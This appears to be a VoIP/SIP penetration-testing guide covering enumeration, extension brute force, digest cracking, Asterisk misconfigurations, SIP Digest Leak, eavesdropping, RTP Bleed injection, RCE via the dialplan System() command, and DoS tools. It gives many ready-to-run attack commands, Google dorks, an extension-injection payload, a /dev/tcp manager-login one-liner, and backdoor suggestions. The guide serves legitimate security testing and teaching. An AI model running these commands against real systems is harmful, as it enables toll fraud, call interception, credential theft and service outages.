Pentesting VoIP

VoIP Basic Information

To start learning about how VoIP works check:

Basic Voip Protocols

Basic messages^[7]

Request name	Description								RFC references
------------------------------------------------------------------------------------------------------
REGISTER	Register a SIP user.							RFC 3261
INVITE		Initiate a dialog for establishing a call. 				RFC 3261
ACK		Confirm that an entity has received.					RFC 3261
BYE		Signal termination of a dialog and end a call.				RFC 3261
CANCEL		Cancel any pending request.						RFC 3261
UPDATE		Modify the state of a session without changing the state of the dialog.	RFC 3311
REFER		Ask recipient to issue a request for the purpose of call transfer.	RFC 3515
PRACK		Provisional acknowledgement.						RFC 3262
SUBSCRIBE	Initiates a subscription for notification of events from a notifier.	RFC 6665
NOTIFY		Inform a subscriber of notifications of a new event.			RFC 6665
PUBLISH		Publish an event to a notification server.				RFC 3903
MESSAGE		Deliver a text message.	Used in instant messaging applications.		RFC 3428
INFO		Send mid-session information that does not modify the session state.	RFC 6086
OPTIONS		Query the capabilities of an endpoint					RFC 3261

Response codes^[7]

1xx—Provisional Responses

100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated

2xx—Successful Responses

200 OK
202 Accepted
204 No Notification

3xx—Redirection Responses

300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service

4xx—Client Failure Responses

400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required

5xx—Server Failure Responses

500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure

6xx—Global Failure Responses

600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected

VoIP Enumeration

Telephone Numbers

One of a red team’s first steps can be to identify company telephone numbers with OSINT tools, Google searches, or web scraping.

Once you have the telephone numbers you could use online services to identify the operator:

• https://www.numberingplans.com/?page=analysis&sub=phonenr
• https://mobilenumbertracker.com/
• https://www.whitepages.com/
• https://www.twilio.com/lookup

Knowing whether the operator provides VoIP services can help determine whether the company uses VoIP. A company may also connect its own VoIP PBX to the traditional telephony network with PSTN cards instead of buying a managed VoIP service.

Automated responses or music on hold can also indicate that VoIP is in use.

Google Dorks

# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org

# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"

# Cisco phones
inurl:"NetworkConfiguration" cisco

# Linksys phones
intitle:"Sipura SPA Configuration"

# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm

# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com

# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"

# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"

OSINT information

Any other OSINT enumeration that helps to identify VoIP software being used will be helpful for a Red Team.

Network Enumeration

• Nmap can scan UDP services, but broad UDP scans are slow and may be less accurate than targeted probes.

sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24

• svmap from SIPVicious (sudo apt install sipvicious): Will locate SIP services in the indicated network.^[2]
  • svmap is easy to block because it uses the User-Agent friendly-scanner, but you could modify the code from /usr/share/sipvicious/sipvicious and change it.

# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]

• SIPPTS scan from sippts: SIPPTS scan is a fast scanner for SIP services over UDP, TCP, or TLS. It uses multithreading and can scan large network ranges. You can specify a port range, scan TCP and UDP, select a method (the default is OPTIONS), and customize the User-Agent.^[1]

sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]

[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200

• metasploit:

auxiliary/scanner/sip/options_tcp normal  No     SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options     normal  No     SIP Endpoint Scanner (UDP)

Extra Network Enumeration

The PBX could also be exposing other network services such as:

• 69/UDP (TFTP): Firmware updates
• 80 (HTTP) / 443 (HTTPS): To manage the device from the web
• 389 (LDAP): Alternative to store the users information
• 3306 (MySQL): MySQL database
• 5038 (Manager): Allows to use Asterisk from other platforms
• 5222 (XMPP): Messages using Jabber
• 5432 (PostgreSQL): PostgreSQL database
• And others…

Methods Enumeration

It’s possible to find which methods are available to use in the PBX using SIPPTS enumerate from sippts^[1]

sippts enumerate -i 10.10.0.10

Analysing server responses

It is very important to analyse the headers that a server sends back to us, depending on the type of message and headers that we send. With SIPPTS send from sippts we can send personalised messages, manipulating all the headers, and analyse the response.^[1]

sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp

It is also possible to obtain data when the server uses WebSockets. SIPPTS wssend from sippts can send customized WebSocket messages.

sippts wssend -i 10.10.0.10 -r 443 -path /ws

Extension Enumeration

Extensions in a PBX (Private Branch Exchange) system refer to the unique internal identifiers assigned to individual phone lines, devices, or users within an organization or business. Extensions make it possible to route calls within the organization efficiently, without the need for individual external phone numbers for each user or device.

• svwar from SIPVicious (sudo apt install sipvicious): svwar is a free SIP PBX extension line scanner. In concept it works similar to traditional wardialers by guessing a range of extensions or a given list of extensions.^[2]

svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER

• SIPPTS exten from sippts: SIPPTS exten identifies extensions on a SIP server. Sipexten can check large network and port ranges.^[1]

sippts exten -i 10.10.0.10 -r 5060 -e 100-200

• metasploit: You can also enumerate extensions/usernames with metasploit:

auxiliary/scanner/sip/enumerator_tcp  normal  No     SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator      normal  No     SIP Username Enumerator (UDP)

• enumiax (apt install enumiax): enumIAX is an Inter Asterisk Exchange protocol username brute-force enumerator. enumIAX may operate in two distinct modes; Sequential Username Guessing or Dictionary Attack.

enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10

VoIP Attacks

Password Brute-Force - online

Having discovered the PBX and some extensions/usernames, a Red Team could try to authenticate via the REGISTER method to an extension using a dictionary of common passwords to brute force the authentication.

[!CAUTION] Note that a username can be the same as the extension, but this practice may vary depending on the PBX system, its configuration, and the organization’s preferences…

If the username is not the same as the extension, you will need to figure out the username to brute-force it.

• svcrack from SIPVicious (sudo apt install sipvicious): SVCrack allows you to crack the password for a specific username/extension on a PBX.^[2]

svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions

• SIPPTS rcrack from sippts: SIPPTS rcrack is a remote password cracker for SIP services. Rcrack can test passwords for several users in different IPs and port ranges.^[1]

sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt

• Metasploit:
  • https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
  • https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb

VoIP Sniffing

If you find VoIP equipment on an open Wi-Fi network, you may be able to sniff its traffic. On a more restricted network (connected via Ethernet or protected Wi-Fi), you could perform man-in-the-middle attacks such as ARP spoofing between the PBX and the gateway to inspect the traffic.

Among the network information, you could find web credentials to manage the equipment, user extensions, username, IP addresses, even hashed passwords and RTP packets that you could reproduce to hear the conversation, and more.

To get this information you could use tools such as Wireshark, tcpdump… but a specially created tool to sniff VoIP conversations is ucsniff.

[!CAUTION] Note that if TLS is used in the SIP communication you won’t be able to see the SIP communication in clear.
The same will happen if SRTP and ZRTP is used, RTP packets won’t be in clear text.

SIP credentials (Password Brute-Force - offline)

Review this SIP REGISTER example to understand how credentials are transmitted.

• sipdump and sipcrack, part of sipcrack (apt-get install sipcrack): These tools can extract SIP digest authentication exchanges from a PCAP and brute-force them offline.^[6]

sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt

• SIPPTS dump from sippts: SIPPTS dump can extract digest authentications from a pcap file.^[1]

sippts dump -f capture.pcap -o data.txt

• SIPPTS dcrack from sippts: SIPPTS dcrack is a tool to crack the digest authentications obtained with SIPPTS dump.

sippts dcrack -f data.txt -w wordlist/rockyou.txt

• SIPPTS tshark from sippts: SIPPTS tshark extracts data of SIP protocol from a PCAP file.

sippts tshark -f capture.pcap [-filter auth]

DTMF codes

Network traffic may reveal not only SIP credentials but also DTMF codes used to access services such as voicemail.
These codes can be sent in SIP INFO messages, as audio, or inside RTP packets. If the codes are in RTP packets, extract that part of the conversation and use multimon to decode them:

multimon -a DTMF -t wac pin.wav

Free calls / legacy Asterisk connection misconfigurations^[8]

The sip.conf, type, and insecure examples below apply to the legacy chan_sip driver. Asterisk deprecated chan_sip in version 17 and removed it in version 21; assess modern deployments through their pjsip.conf endpoint, authentication, address-of-record, and identification objects instead.^[8]

In legacy Asterisk configurations, it is possible to allow a connection from a specific IP address or from any IP address:

host=10.10.10.10
host=dynamic

If an IP address is specified, the host does not need to send periodic REGISTER requests. Dynamic peers instead refresh their registration before the expiry conveyed by the Expires header or the Contact expires parameter, commonly every 30 minutes. A statically addressed host must still allow the VoIP server to reach its SIP and media ports for incoming calls.

Legacy chan_sip peers can use the following type values:

• type=user: The user can only receive calls as user.
• type=friend: It’s possible to perform calls as peer and receive them as user (used with extensions)
• type=peer: It’s possible to send and receive calls as peer (SIP-trunks)

It’s also possible to establish trust with the insecure variable:

• insecure=port: Allows peer connections validated by IP.
• insecure=invite: Doesn’t require authentication for INVITE messages
• insecure=port,invite: Both

[!WARNING] When type=friend is used, the value of the host variable won’t be used, so if an admin misconfigure a SIP-trunk using that value, anyone will be able to connect to it.

For example, this configuration would be vulnerable:
host=10.10.10.10
insecure=port,invite
type=friend

Free calls / Asterisk context misconfigurations

In Asterisk a context is a named container or section in the dial plan that groups together related extensions, actions, and rules. The dial plan is the core component of an Asterisk system, as it defines how incoming and outgoing calls are handled and routed. Contexts are used to organize the dial plan, manage access control, and provide separation between different parts of the system.

Each context is defined in the configuration file, typically in the extensions.conf file. Contexts are denoted by square brackets, with the context name enclosed within them. For example:

csharpCopy code[my_context]

Inside the context, you define extensions (patterns of dialed numbers) and associate them with a series of actions or applications. These actions determine how the call is processed. For instance:

[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()

This example demonstrates a simple context called “my_context” with an extension “100”. When someone dials 100, the call will be answered, a welcome message will be played, and then the call will be terminated.

This is another context that allows calls to any other number:

[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})

If the admin defines the default context as:

[default]
include => my_context
include => external

[!WARNING] Anyone will be able to use the server to call any other number (and the server administrator will pay for the call).

[!CAUTION] Moreover, by default the sip.conf file contains allowguest=true, then any attacker with no authentication will be able to call to any other number.

• SIPPTS invite from sippts: SIPPTS invite checks if a PBX server allows us to make calls without authentication. If the SIP server has an incorrect configuration, it will allow us to make calls to external numbers. It can also allow us to transfer the call to a second external number.^[1]

  For example, if your Asterisk server has a bad context configuration, you can accept INVITE request without authorization. In this case, an attacker can make calls without knowing any user/pass.

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

Free calls / Misconfigured IVRS

IVRS stands for Interactive Voice Response System, a telephony technology that allows users to interact with a computerized system through voice or touch-tone inputs. IVRS is used to build automated call handling systems that offer a range of functionalities, such as providing information, routing calls, and capturing user input.

IVRS in VoIP systems typically consists of:

1. Voice prompts: Pre-recorded audio messages that guide users through the IVR menu options and instructions.
2. DTMF (Dual-Tone Multi-Frequency) signaling: Touch-tone inputs generated by pressing keys on the phone, which are used to navigate through the IVR menus and provide input.
3. Call routing: Directing calls to the appropriate destination, such as specific departments, agents, or extensions based on user input.
4. User input capture: Collecting information from callers, such as account numbers, case IDs, or any other relevant data.
5. Integration with external systems: Connecting the IVR system to databases or other software systems to access or update information, perform actions, or trigger events.

In an Asterisk VoIP system, you can create an IVR using the dial plan (extensions.conf file) and various applications such as Background(), Playback(), Read(), and more. These applications help you play voice prompts, capture user input, and control the call flow.

Example of vulnerable configuration

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

The preceding example asks the user to press 1 to call one department, 2 to call another, or enter a complete extension.
The vulnerability is that the extension length is not checked, so a user can enter a complete telephone number during the five-second timeout and cause Asterisk to call it.

Extension Injection

Using a extension such as:

exten => _X.,1,Dial(SIP/${EXTEN})

Where ${EXTEN} is the extension that will be called, when the ext 101 is introduced this is what would happen:

exten => 101,1,Dial(SIP/101)

However, if ${EXTEN} accepts characters other than digits (as in older Asterisk versions), an attacker could supply 101&SIP123123123 to call the telephone number 123123123. This would produce the following result:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

Therefore, calls to extensions 101 and 123123123 will be sent, and only the first answered call will be established. If an attacker supplies a nonexistent extension that bypasses the applied matching, the attacker may be able to inject a call only to the desired number.

SIPDigestLeak vulnerability

The SIP Digest Leak is a vulnerability that affects a large number of SIP Phones, including both hardware and software IP Phones as well as phone adapters (VoIP to analogue). The vulnerability allows leakage of the Digest authentication response, which is computed from the password. An offline password attack is then possible and can recover most passwords based on the challenge response.^[5]

**Vulnerability scenario from here**:^[5]

1. An IP Phone (victim) is listening on any port (for example: 5060), accepting phone calls
2. The attacker sends an INVITE to the IP Phone
3. The victim phone starts ringing and someone picks up and hangs up (because no one answers the phone at the other end)
4. When the phone is hung up, the victim phone sends a BYE to the attacker
5. The attacker issues a 407 response that asks for authentication and issues an authentication challenge
6. The victim phone provides a response to the authentication challenge in a second BYE
7. The attacker can then issue a brute-force attack on the challenge response on his local machine (or distributed network etc) and guess the password

• SIPPTS leak from sippts: SIPPTS leak exploits the SIP Digest Leak vulnerability that affects many SIP phones. Its output can be saved in SipCrack format and brute-forced with SIPPTS dcrack or SipCrack.^[1]

sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
	... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call allows a web user (who for example might be interested in a product) to introduce his telephone number to get called. Then a commercial will be called, and when he picks up the phone the user will be called and connected with the agent.

A common Asterisk profile for this is:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate

• The previous profile is allowing ANY IP address to connect (if the password is known).
• To organize a call, like specified previously, no read permissions is necessary and only originate in write is needed.

With those permissions any IP knowing the password could connect and extract too much info, like:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

More information or actions could be requested.

Eavesdropping

In Asterisk, ChanSpy can monitor selected extensions (or all of them) and listen to active conversations. This command must be assigned to an extension.

For example, exten => 333,1,ChanSpy('all',qb) indicate that if you call the extension 333, it will monitor all the extensions, start listening whenever a new conversation start (b) in quiet mode (q) as we don’t want to interact on it. You could go from one conversation happening to another pressing *, or marking the extension number.

It is also possible to use ExtenSpy to monitor only one extension.

Instead of listening the conversations, it’s possible to record them in files using an extension such as:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

Calls will be saved in /tmp.

You could also even make Asterisk execute a script that will leak the call when it’s closed.

exten => h,1,System(/tmp/leak_conv.sh &)

RTP/RTCP Bleed vulnerabilities

RTCPBleed is a major security issue affecting Asterisk-based VoIP servers (published in 2017). The vulnerability allows RTP (Real Time Protocol) traffic, which carries VoIP conversations, to be intercepted and redirected by anyone on the Internet. This occurs because RTP traffic bypasses authentication when navigating through NAT (Network Address Translation) firewalls.^[4]

RTP proxies address NAT limitations in real-time communication systems by proxying RTP streams between parties. With NAT, a proxy often cannot rely on the RTP address and port advertised through signaling such as SIP. Some proxies therefore learn the IP-and-port tuple automatically by inspecting incoming RTP traffic and using its source as the response destination. If this “learning mode” does not authenticate the source, an attacker can send RTP traffic to the proxy and receive media intended for a legitimate caller or callee. This is called RTP Bleed.^[4]

Another interesting behaviour of RTP proxies and RTP stacks is that sometimes, even if not vulnerable to RTP Bleed, they will accept, forward and/or process RTP packets from any source. Therefore attackers can send RTP packets which may allow them to inject their media instead of the legitimate one. We call this attack RTP injection because it allows injection of illegitimate RTP packets into existent RTP streams. This vulnerability may be found in both RTP proxies and endpoints.^[4]

Asterisk and FreePBX have traditionally used the NAT=yes setting, which enables RTP traffic to bypass authentication, potentially leading to no audio or one-way audio on calls.

For more info check https://www.rtpbleed.com/^[4]

• SIPPTS rtpbleed from sippts: SIPPTS rtpbleed detects the RTP Bleed vulnerability sending RTP streams.^[1]

sippts rtpbleed -i 10.10.0.10

• SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleed detects the RTP Bleed vulnerability sending RTCP streams.

sippts rtcpbleed -i 10.10.0.10

• SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedflood exploit the RTP Bleed vulnerability sending RTP streams.

sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v

• SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinject exploit the RTP Bleed vulnerability injecting an audio file (WAV format).

sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

If you can add extension rules and reload them in Asterisk (for example, after compromising a vulnerable web-management server), the System command can provide remote code execution.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

There is command called Shell that could be used instead of System to execute system commands if necessary.

[!WARNING] If the server is disallowing the use of certain characters in the System command (like in Elastix), check if the web server allows to create files somehow inside the system (like in Elastix or trixbox), and use it to create a backdoor script and then use System to execute that script.

Interesting local files and permissions

• sip.conf -> Contains the password of SIP users.
• If the Asterisk server is running as root, you could compromise root
• The MySQL root user might have no password.
  • this could be used to create a new mysql user as backdoor
• FreePBX
  • amportal.conf -> Contains the password of the web panel administrator (FreePBX)
  • FreePBX.conf -> Contains the password of the FreePBXuser account used to access the database
    • this could be used to create a new mysql user as backdoor
• Elastix
  • Elastix.conf -> Contains several cleartext passwords, such as the MySQL root, IMAP daemon, and web administrator passwords
• Several folders will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.

RTP Injection

It is possible to insert a .wav file into conversations with tools such as rtpinsertsound (sudo apt install rtpinsertsound) and rtpmixsound (sudo apt install rtpmixsound).

Or you could use the scripts from http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ to scan conversations (rtpscan.pl), send a .wav to a conversation (rtpsend.pl) and insert noise in a conversation (rtpflood.pl).^[3]

DoS

There are several ways to try to achieve DoS in VoIP servers.

• SIPPTS flood from sippts**: SIPPTS flood sends unlimited messages to the target.^[1]
  • sippts flood -i 10.10.0.10 -m invite -v
• SIPPTS ping from sippts**: SIPPTS ping makes a SIP ping to see the server response time.
  • sippts ping -i 10.10.0.10
• IAXFlooder: DoS IAX protocol used by Asterisk
• inviteflood: A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
• rtpflood: Send several well-formed RTP packets. You need to identify the RTP ports in use first.
• SIPp: Allows to analyze and generate SIP traffic. so it can be used to DoS also.
• SIPsak: SIP swiss army knife. Can also be used to perform SIP attacks.
• Fuzzers: protos-sip, voiper.

OS Vulnerabilities

The easiest way to install a software such as Asterisk is to download an OS distribution that has it already installed, such as: FreePBX, Elastix, Trixbox… The problem with those is that once it’s working sysadmins might not update them again and vulnerabilities are going to be discovered with time.

References

• [1] sippts wiki
• [2] SIPVicious GitHub repository
• [3] Pepelux’s blog
• [4] RTP Bleed
• [5] SIP Digest Leak vulnerability
• [6] Practical VoIP Penetration Testing
• [7] IANA – Session Initiation Protocol (SIP) Parameters
• [8] Asterisk Documentation – Configuring the deprecated chan_sip driver